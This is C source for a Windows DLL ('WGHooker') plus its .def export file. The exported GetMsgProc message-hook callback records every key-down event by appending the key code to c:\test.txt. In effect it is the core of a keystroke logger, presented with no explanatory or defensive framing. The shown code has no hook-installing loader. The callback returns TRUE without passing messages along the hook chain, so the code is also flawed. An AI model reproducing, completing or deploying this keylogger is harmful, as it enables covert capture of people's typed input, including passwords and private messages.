#include <windows.h>

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
	if(((MSG*)lp)->message == (long)WM_KEYDOWN)	
	{			 
		HANDLE hFile;
		DWORD dwWrite;
       	hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
			FILE_ATTRIBUTE_NORMAL, NULL);	
		SetFilePointer(hFile, 0, 0, FILE_END);			
		WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
		CloseHandle(hFile);			
	}
	return TRUE;	
}


--- hooker.def ---

LIBRARY		WGHooker
EXPORTS
	GetMsgProc	@1